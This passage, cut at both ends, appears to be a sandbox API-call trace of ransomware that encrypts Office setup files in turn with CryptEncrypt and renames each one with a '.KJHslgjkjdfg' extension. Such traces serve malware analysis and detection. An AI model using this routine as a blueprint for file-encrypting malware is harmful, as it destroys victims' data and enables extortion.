dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.397] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.397] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.397] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x15b5, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x15b5, lpOverlapped=0x0) returned 1 [0164.408] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x15c0, dwBufLen=0x15c0 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x15c0) returned 1 [0164.408] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.408] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x15c0, lpOverlapped=0x0) returned 1 [0164.408] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.408] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.408] SetEndOfFile (hFile=0x114) returned 1 [0164.411] GetProcessHeap () returned 0x990000 [0164.411] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.411] GetProcessHeap () returned 0x990000 [0164.411] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.411] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.kjhslgjkjdfg")) returned 1 [0164.414] CloseHandle (hObject=0x114) returned 1 [0164.414] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1 [0164.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.415] GetProcessHeap () returned 0x990000 [0164.415] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.415] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.415] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.415] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xd, lpOverlapped=0x0) returned 1 [0164.435] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.435] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.435] GetProcessHeap () returned 0x990000 [0164.435] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.435] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.435] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.435] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.435] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.436] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.436] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.436] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.436] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.436] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.436] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.436] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.436] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x333, lpOverlapped=0x0) returned 1 [0164.436] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x340, dwBufLen=0x340 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x340) returned 1 [0164.436] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.436] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x340, lpOverlapped=0x0) returned 1 [0164.436] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.436] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.437] SetEndOfFile (hFile=0x114) returned 1 [0164.439] GetProcessHeap () returned 0x990000 [0164.439] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.439] GetProcessHeap () returned 0x990000 [0164.439] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.439] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.kjhslgjkjdfg")) returned 1 [0164.439] CloseHandle (hObject=0x114) returned 1 [0164.440] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0164.440] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1 [0164.440] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0164.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.442] GetProcessHeap () returned 0x990000 [0164.442] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.442] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.442] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.442] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x7, lpOverlapped=0x0) returned 1 [0164.445] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.445] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.445] GetProcessHeap () returned 0x990000 [0164.445] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.445] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.445] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.445] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.445] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.445] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.445] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.445] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.445] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.445] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.445] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.445] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.446] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9339, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x9339, lpOverlapped=0x0) returned 1 [0164.447] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x9340, dwBufLen=0x9340 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x9340) returned 1 [0164.447] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.447] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x9340, lpOverlapped=0x0) returned 1 [0164.447] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.447] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.447] SetEndOfFile (hFile=0x114) returned 1 [0164.450] GetProcessHeap () returned 0x990000 [0164.450] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.450] GetProcessHeap () returned 0x990000 [0164.450] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.kjhslgjkjdfg")) returned 1 [0164.450] CloseHandle (hObject=0x114) returned 1 [0164.450] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0164.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.451] GetProcessHeap () returned 0x990000 [0164.451] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.451] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.451] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.451] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xf, lpOverlapped=0x0) returned 1 [0164.453] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.453] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.453] GetProcessHeap () returned 0x990000 [0164.453] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.453] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.453] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.453] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.453] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.453] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.453] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.453] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.453] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.453] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.453] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.454] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.454] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6931, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x6931, lpOverlapped=0x0) returned 1 [0164.454] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x6940, dwBufLen=0x6940 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x6940) returned 1 [0164.455] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.455] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x6940, lpOverlapped=0x0) returned 1 [0164.455] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.455] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.455] SetEndOfFile (hFile=0x114) returned 1 [0164.457] GetProcessHeap () returned 0x990000 [0164.457] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.457] GetProcessHeap () returned 0x990000 [0164.458] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.458] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.kjhslgjkjdfg")) returned 1 [0164.460] CloseHandle (hObject=0x114) returned 1 [0164.460] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0164.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.461] GetProcessHeap () returned 0x990000 [0164.461] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.461] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.462] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.462] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x5, lpOverlapped=0x0) returned 1 [0164.464] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.464] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.464] GetProcessHeap () returned 0x990000 [0164.464] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.464] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.464] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.464] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.464] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.464] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.464] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.464] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: 